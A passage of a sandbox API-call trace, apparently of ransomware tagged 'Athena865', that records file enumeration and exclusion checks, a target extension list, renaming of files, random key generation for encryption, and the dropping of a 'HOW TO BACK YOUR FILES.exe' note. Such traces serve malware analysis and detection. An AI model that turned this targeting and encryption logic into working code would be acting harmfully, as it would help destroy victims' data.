ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MpEvMsg.dll.mui", cAlternateFileName="")) returned 1 [0090.471] lstrcmpiW (lpString1="MpEvMsg.dll.mui", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0090.471] lstrcmpiW (lpString1="MpEvMsg.dll.mui", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0090.471] lstrcmpiW (lpString1="MpEvMsg.dll.mui", lpString2=".") returned 1 [0090.471] lstrcmpiW (lpString1="MpEvMsg.dll.mui", lpString2="..") returned 1 [0090.471] lstrcmpiW (lpString1="MpEvMsg.dll.mui", lpString2="windows") returned -1 [0090.471] lstrcmpiW (lpString1="MpEvMsg.dll.mui", lpString2="bootmgr") returned 1 [0090.471] lstrcmpiW (lpString1="MpEvMsg.dll.mui", lpString2="temp") returned -1 [0090.471] lstrcmpiW (lpString1="MpEvMsg.dll.mui", lpString2="pagefile.sys") returned -1 [0090.471] lstrcmpiW (lpString1="MpEvMsg.dll.mui", lpString2="boot") returned 1 [0090.471] lstrcmpiW (lpString1="MpEvMsg.dll.mui", lpString2="ids.txt") returned 1 [0090.471] lstrcmpiW (lpString1="MpEvMsg.dll.mui", lpString2="ntuser.dat") returned -1 [0090.471] lstrcmpiW (lpString1="MpEvMsg.dll.mui", lpString2="perflogs") returned -1 [0090.471] lstrcmpiW (lpString1="MpEvMsg.dll.mui", lpString2="MSBuild") returned -1 [0090.471] lstrlenW (lpString="MpEvMsg.dll.mui") returned 15 [0090.471] lstrcpyW (in: lpString1=0x241e898, lpString2="MpEvMsg.dll.mui" | out: lpString1="MpEvMsg.dll.mui") returned="MpEvMsg.dll.mui" [0090.471] lstrlenW (lpString="MpEvMsg.dll.mui") returned 15 [0090.471] lstrlenW (lpString="Athena865") returned 9 [0090.471] lstrcmpiW (lpString1="g.dll.mui", lpString2="Athena865") returned 1 [0090.471] lstrlenW (lpString=".dll") returned 4 [0090.471] lstrcmpiW (lpString1="MpEvMsg.dll.mui", lpString2=".dll") returned 1 [0090.471] lstrlenW (lpString=".lnk") returned 4 [0090.471] lstrcmpiW (lpString1="MpEvMsg.dll.mui", lpString2=".lnk") returned 1 [0090.471] lstrlenW (lpString=".ini") returned 4 [0090.471] lstrcmpiW (lpString1="MpEvMsg.dll.mui", lpString2=".ini") returned 1 [0090.471] lstrlenW (lpString=".sys") returned 4 [0090.471] lstrcmpiW (lpString1="MpEvMsg.dll.mui", lpString2=".sys") returned 1 [0090.471] lstrlenW (lpString="MpEvMsg.dll.mui") returned 15 [0090.471] lstrlenW (lpString="bak") returned 3 [0090.471] lstrcmpiW (lpString1="mui", lpString2="bak") returned 1 [0090.472] lstrlenW (lpString="ba_") returned 3 [0090.472] lstrcmpiW (lpString1="mui", lpString2="ba_") returned 1 [0090.472] lstrlenW (lpString="dbb") returned 3 [0090.472] lstrcmpiW (lpString1="mui", lpString2="dbb") returned 1 [0090.472] lstrlenW (lpString="vmdk") returned 4 [0090.472] lstrcmpiW (lpString1=".mui", lpString2="vmdk") returned -1 [0090.472] lstrlenW (lpString="rar") returned 3 [0090.472] lstrcmpiW (lpString1="mui", lpString2="rar") returned -1 [0090.472] lstrlenW (lpString="zip") returned 3 [0090.472] lstrcmpiW (lpString1="mui", lpString2="zip") returned -1 [0090.472] lstrlenW (lpString="tgz") returned 3 [0090.472] lstrcmpiW (lpString1="mui", lpString2="tgz") returned -1 [0090.472] lstrlenW (lpString="vbox") returned 4 [0090.472] lstrcmpiW (lpString1=".mui", lpString2="vbox") returned -1 [0090.472] lstrlenW (lpString="vdi") returned 3 [0090.472] lstrcmpiW (lpString1="mui", lpString2="vdi") returned -1 [0090.472] lstrlenW (lpString="vhd") returned 3 [0090.472] lstrcmpiW (lpString1="mui", lpString2="vhd") returned -1 [0090.472] lstrlenW (lpString="vhdx") returned 4 [0090.472] lstrcmpiW (lpString1=".mui", lpString2="vhdx") returned -1 [0090.472] lstrlenW (lpString="avhd") returned 4 [0090.472] lstrcmpiW (lpString1=".mui", lpString2="avhd") returned -1 [0090.472] lstrlenW (lpString="db") returned 2 [0090.472] lstrcmpiW (lpString1="ui", lpString2="db") returned 1 [0090.472] lstrlenW (lpString="db2") returned 3 [0090.472] lstrcmpiW (lpString1="mui", lpString2="db2") returned 1 [0090.472] lstrlenW (lpString="db3") returned 3 [0090.472] lstrcmpiW (lpString1="mui", lpString2="db3") returned 1 [0090.472] lstrlenW (lpString="dbf") returned 3 [0090.472] lstrcmpiW (lpString1="mui", lpString2="dbf") returned 1 [0090.472] lstrlenW (lpString="mdf") returned 3 [0090.473] lstrcmpiW (lpString1="mui", lpString2="mdf") returned 1 [0090.473] lstrlenW (lpString="mdb") returned 3 [0090.473] lstrcmpiW (lpString1="mui", lpString2="mdb") returned 1 [0090.473] lstrlenW (lpString="sql") returned 3 [0090.473] lstrcmpiW (lpString1="mui", lpString2="sql") returned -1 [0090.473] lstrlenW (lpString="sqlite") returned 6 [0090.473] lstrcmpiW (lpString1="ll.mui", lpString2="sqlite") returned -1 [0090.473] lstrlenW (lpString="sqlite3") returned 7 [0090.473] lstrcmpiW (lpString1="dll.mui", lpString2="sqlite3") returned -1 [0090.473] lstrlenW (lpString="sqlitedb") returned 8 [0090.473] lstrcmpiW (lpString1=".dll.mui", lpString2="sqlitedb") returned -1 [0090.473] lstrlenW (lpString="xml") returned 3 [0090.473] lstrcmpiW (lpString1="mui", lpString2="xml") returned -1 [0090.473] lstrlenW (lpString="$er") returned 3 [0090.473] lstrcmpiW (lpString1="mui", lpString2="$er") returned 1 [0090.473] lstrlenW (lpString="4dd") returned 3 [0090.473] lstrcmpiW (lpString1="mui", lpString2="4dd") returned 1 [0090.473] lstrlenW (lpString="4dl") returned 3 [0090.473] lstrcmpiW (lpString1="mui", lpString2="4dl") returned 1 [0090.473] lstrlenW (lpString="^^^") returned 3 [0090.473] lstrcmpiW (lpString1="mui", lpString2="^^^") returned 1 [0090.473] lstrlenW (lpString="abs") returned 3 [0090.473] lstrcmpiW (lpString1="mui", lpString2="abs") returned 1 [0090.473] lstrlenW (lpString="abx") returned 3 [0090.473] lstrcmpiW (lpString1="mui", lpString2="abx") returned 1 [0090.473] lstrlenW (lpString="accdb") returned 5 [0090.473] lstrcmpiW (lpString1="l.mui", lpString2="accdb") returned 1 [0090.473] lstrlenW (lpString="accdc") returned 5 [0090.473] lstrcmpiW (lpString1="l.mui", lpString2="accdc") returned 1 [0090.473] lstrlenW (lpString="accde") returned 5 [0090.473] lstrcmpiW (lpString1="l.mui", lpString2="accde") returned 1 [0090.473] lstrlenW (lpString="accdr") returned 5 [0090.474] lstrcmpiW (lpString1="l.mui", lpString2="accdr") returned 1 [0090.474] lstrlenW (lpString="accdt") returned 5 [0090.474] lstrcmpiW (lpString1="l.mui", lpString2="accdt") returned 1 [0090.474] lstrlenW (lpString="accdw") returned 5 [0090.474] lstrcmpiW (lpString1="l.mui", lpString2="accdw") returned 1 [0090.474] lstrlenW (lpString="accft") returned 5 [0090.474] lstrcmpiW (lpString1="l.mui", lpString2="accft") returned 1 [0090.474] lstrlenW (lpString="adb") returned 3 [0090.474] lstrcmpiW (lpString1="mui", lpString2="adb") returned 1 [0090.474] lstrlenW (lpString="adb") returned 3 [0090.474] lstrcmpiW (lpString1="mui", lpString2="adb") returned 1 [0090.474] lstrlenW (lpString="ade") returned 3 [0090.474] lstrcmpiW (lpString1="mui", lpString2="ade") returned 1 [0090.474] lstrlenW (lpString="adf") returned 3 [0090.474] lstrcmpiW (lpString1="mui", lpString2="adf") returned 1 [0090.474] lstrlenW (lpString="adn") returned 3 [0090.474] lstrcmpiW (lpString1="mui", lpString2="adn") returned 1 [0090.474] lstrlenW (lpString="adp") returned 3 [0090.474] lstrcmpiW (lpString1="mui", lpString2="adp") returned 1 [0090.474] lstrlenW (lpString="alf") returned 3 [0090.474] lstrcmpiW (lpString1="mui", lpString2="alf") returned 1 [0090.474] lstrlenW (lpString="ask") returned 3 [0090.474] lstrcmpiW (lpString1="mui", lpString2="ask") returned 1 [0090.474] lstrlenW (lpString="btr") returned 3 [0090.474] lstrcmpiW (lpString1="mui", lpString2="btr") returned 1 [0090.474] lstrlenW (lpString="cat") returned 3 [0090.474] lstrcmpiW (lpString1="mui", lpString2="cat") returned 1 [0090.474] lstrlenW (lpString="cdb") returned 3 [0090.474] lstrcmpiW (lpString1="mui", lpString2="cdb") returned 1 [0090.474] lstrlenW (lpString="ckp") returned 3 [0090.474] lstrcmpiW (lpString1="mui", lpString2="ckp") returned 1 [0090.475] lstrlenW (lpString="cma") returned 3 [0090.475] lstrcmpiW (lpString1="mui", lpString2="cma") returned 1 [0090.475] lstrlenW (lpString="cpd") returned 3 [0090.475] lstrcmpiW (lpString1="mui", lpString2="cpd") returned 1 [0090.475] lstrlenW (lpString="dacpac") returned 6 [0090.475] lstrcmpiW (lpString1="ll.mui", lpString2="dacpac") returned 1 [0090.475] lstrlenW (lpString="dad") returned 3 [0090.475] lstrcmpiW (lpString1="mui", lpString2="dad") returned 1 [0090.475] lstrlenW (lpString="dadiagrams") returned 10 [0090.475] lstrcmpiW (lpString1="sg.dll.mui", lpString2="dadiagrams") returned 1 [0090.475] lstrlenW (lpString="daschema") returned 8 [0090.475] lstrcmpiW (lpString1=".dll.mui", lpString2="daschema") returned -1 [0090.475] lstrlenW (lpString="db-journal") returned 10 [0090.475] lstrcmpiW (lpString1="sg.dll.mui", lpString2="db-journal") returned 1 [0090.475] lstrlenW (lpString="db-shm") returned 6 [0090.475] lstrcmpiW (lpString1="ll.mui", lpString2="db-shm") returned 1 [0090.475] lstrlenW (lpString="db-wal") returned 6 [0090.475] lstrcmpiW (lpString1="ll.mui", lpString2="db-wal") returned 1 [0090.475] lstrlenW (lpString="dbc") returned 3 [0090.475] lstrcmpiW (lpString1="mui", lpString2="dbc") returned 1 [0090.475] lstrlenW (lpString="dbs") returned 3 [0090.475] lstrcmpiW (lpString1="mui", lpString2="dbs") returned 1 [0090.475] lstrlenW (lpString="dbt") returned 3 [0090.475] lstrcmpiW (lpString1="mui", lpString2="dbt") returned 1 [0090.475] lstrlenW (lpString="dbv") returned 3 [0090.475] lstrcmpiW (lpString1="mui", lpString2="dbv") returned 1 [0090.475] lstrlenW (lpString="dbx") returned 3 [0090.475] lstrcmpiW (lpString1="mui", lpString2="dbx") returned 1 [0090.475] lstrlenW (lpString="dcb") returned 3 [0090.475] lstrcmpiW (lpString1="mui", lpString2="dcb") returned 1 [0090.476] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Defender\\en-US\\MpEvMsg.dll.mui.Athena865") returned 65 [0090.476] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Defender\\en-US\\MpEvMsg.dll.mui" (normalized: "c:\\program files\\windows defender\\en-us\\mpevmsg.dll.mui"), lpNewFileName="C:\\Program Files\\Windows Defender\\en-US\\MpEvMsg.dll.mui.Athena865" (normalized: "c:\\program files\\windows defender\\en-us\\mpevmsg.dll.mui.athena865"), dwFlags=0x1) returned 1 [0090.476] CreateFileW (lpFileName="C:\\Program Files\\Windows Defender\\en-US\\MpEvMsg.dll.mui.Athena865" (normalized: "c:\\program files\\windows defender\\en-us\\mpevmsg.dll.mui.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0090.477] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=15360) returned 1 [0090.477] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0090.477] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0090.477] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518f80 [0090.477] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ef8) returned 1 [0090.478] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0090.478] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0090.478] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3f00, lpName=0x0) returned 0x154 [0090.479] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3f00) returned 0x100000 [0090.480] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ef8) returned 1 [0090.481] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0090.481] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0090.481] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5392c0 [0090.481] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5392c0 | out: hHeap=0x4f0000) returned 1 [0090.481] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0090.481] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0090.481] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0090.481] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0090.481] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0090.482] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0090.482] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0090.482] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0090.482] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0090.484] CloseHandle (hObject=0x154) returned 1 [0090.484] CloseHandle (hObject=0x17c) returned 1 [0090.484] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0090.484] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518f80 | out: hHeap=0x4f0000) returned 1 [0090.484] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0090.484] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe494541, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe874c0b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xe494541, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xb600, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MsMpRes.dll.mui", cAlternateFileName="")) returned 1 [0090.484] lstrcmpiW (lpString1="MsMpRes.dll.mui", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0090.484] lstrcmpiW (lpString1="MsMpRes.dll.mui", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0090.484] lstrcmpiW (lpString1="MsMpRes.dll.mui", lpString2=".") returned 1 [0090.484] lstrcmpiW (lpString1="MsMpRes.dll.mui", lpString2="..") returned 1 [0090.484] lstrcmpiW (lpString1="MsMpRes.dll.mui", lpString2="windows") returned -1 [0090.485] lstrcmpiW (lpString1="MsMpRes.dll.mui", lpString2="bootmgr") returned 1 [0090.485] lstrcmpiW (lpString1="MsMpRes.dll.mui", lpString2="temp") returned -1 [0090.485] lstrcmpiW (lpString1="MsMpRes.dll.mui", lpString2="pagefile.sys") returned -1 [0090.485] lstrcmpiW (lpString1="MsMpRes.dll.mui", lpString2="boot") returned 1 [0090.485] lstrcmpiW (lpString1="MsMpRes.dll.mui", lpString2="ids.txt") returned 1 [0090.485] lstrcmpiW (lpString1="MsMpRes.dll.mui", lpString2="ntuser.dat") returned -1 [0090.485] lstrcmpiW (lpString1="MsMpRes.dll.mui", lpString2="perflogs") returned -1 [0090.485] lstrcmpiW (lpString1="MsMpRes.dll.mui", lpString2="MSBuild") returned 1 [0090.485] lstrlenW (lpString="MsMpRes.dll.mui") returned 15 [0090.485] lstrcpyW (in: lpString1=0x241e898, lpString2="MsMpRes.dll.mui" | out: lpString1="MsMpRes.dll.mui") returned="MsMpRes.dll.mui" [0090.485] lstrlenW (lpString="MsMpRes.dll.mui") returned 15 [0090.485] lstrlenW (lpString="Athena865") returned 9 [0090.485] lstrcmpiW (lpString1="s.dll.mui", lpString2="Athena865") returned 1 [0090.485] lstrlenW (lpString=".dll") returned 4 [0090.485] lstrcmpiW (lpString1="MsMpRes.dll.mui", lpString2=".dll") returned 1 [0090.485] lstrlenW (lpString=".lnk") returned 4 [0090.485] lstrcmpiW (lpString1="MsMpRes.dll.mui", lpString2=".lnk") returned 1 [0090.485] lstrlenW (lpString=".ini") returned 4 [0090.485] lstrcmpiW (lpString1="MsMpRes.dll.mui", lpString2=".ini") returned 1 [0090.485] lstrlenW (lpString=".sys") returned 4 [0090.485] lstrcmpiW (lpString1="MsMpRes.dll.mui", lpString2=".sys") returned 1 [0090.485] lstrlenW (lpString="MsMpRes.dll.mui") returned 15 [0090.485] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Defender\\en-US\\MsMpRes.dll.mui.Athena865") returned 65 [0090.485] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Defender\\en-US\\MsMpRes.dll.mui" (normalized: "c:\\program files\\windows defender\\en-us\\msmpres.dll.mui"), lpNewFileName="C:\\Program Files\\Windows Defender\\en-US\\MsMpRes.dll.mui.Athena865" (normalized: "c:\\program files\\windows defender\\en-us\\msmpres.dll.mui.athena865"), dwFlags=0x1) returned 1 [0090.486] CreateFileW (lpFileName="C:\\Program Files\\Windows Defender\\en-US\\MsMpRes.dll.mui.Athena865" (normalized: "c:\\program files\\windows defender\\en-us\\msmpres.dll.mui.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0090.486] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=46592) returned 1 [0090.486] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0090.487] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0090.487] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518f80 [0090.487] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ef8) returned 1 [0090.487] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0090.487] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0090.488] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb900, lpName=0x0) returned 0x154 [0090.489] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb900) returned 0x100000 [0090.496] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ef8) returned 1 [0090.497] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0090.497] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0090.497] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5392c0 [0090.497] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5392c0 | out: hHeap=0x4f0000) returned 1 [0090.497] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0090.497] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0090.497] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0090.497] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0090.497] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0090.497] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0090.497] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0090.497] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0090.497] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0090.498] CloseHandle (hObject=0x154) returned 1 [0090.498] CloseHandle (hObject=0x17c) returned 1 [0090.498] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0090.498] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518f80 | out: hHeap=0x4f0000) returned 1 [0090.498] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0090.499] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe494541, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe874c0b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xe494541, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xb600, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MsMpRes.dll.mui", cAlternateFileName="")) returned 0 [0090.499] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0090.499] ReleaseMutex (hMutex=0xec) returned 1 [0090.499] CloseHandle (hObject=0xec) returned 1 [0090.499] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files\\Windows Journal\\en-US" | out: lpString1="C:\\Program Files\\Windows Journal\\en-US") returned="C:\\Program Files\\Windows Journal\\en-US" [0090.499] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x515c90 | out: hHeap=0x4f0000) returned 1 [0090.499] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50c3e0 | out: hHeap=0x4f0000) returned 1 [0090.499] lstrlenW (lpString="C:\\Program Files\\Windows Journal\\en-US") returned 38 [0090.499] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\91E1E7C9E7A6AACB13AC041DEB68F13C") returned 0xec [0090.499] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0090.499] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Windows Journal\\en-US" | out: lpString1="C:\\Program Files\\Windows Journal\\en-US") returned="C:\\Program Files\\Windows Journal\\en-US" [0090.499] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0090.499] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Journal\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows journal\\en-us\\how to back your files.exe"), bFailIfExists=1) returned 0 [0090.500] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows journal\\en-us\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0090.500] GetLastError () returned 0x0 [0090.500] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0090.500] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53ad08 [0090.500] ReadFile (in: hFile=0xf4, lpBuffer=0x53ad08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53ad08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0090.501] CloseHandle (hObject=0xf4) returned 1 [0090.501] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53ad08 | out: hHeap=0x4f0000) returned 1 [0090.501] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0090.501] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Journal\\en-US\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e4268f4, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xbec91320, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbec91320, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0090.501] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0090.501] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0090.501] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0090.501] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e4268f4, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xbec91320, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbec91320, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.501] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0090.501] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0090.501] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0090.501] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0090.501] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbec91320, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbec91320, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0090.501] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0090.501] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="JNTFiltr.dll.mui", cAlternateFileName="")) returned 1 [0090.501] lstrcmpiW (lpString1="JNTFiltr.dll.mui", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0090.502] lstrcmpiW (lpString1="JNTFiltr.dll.mui", 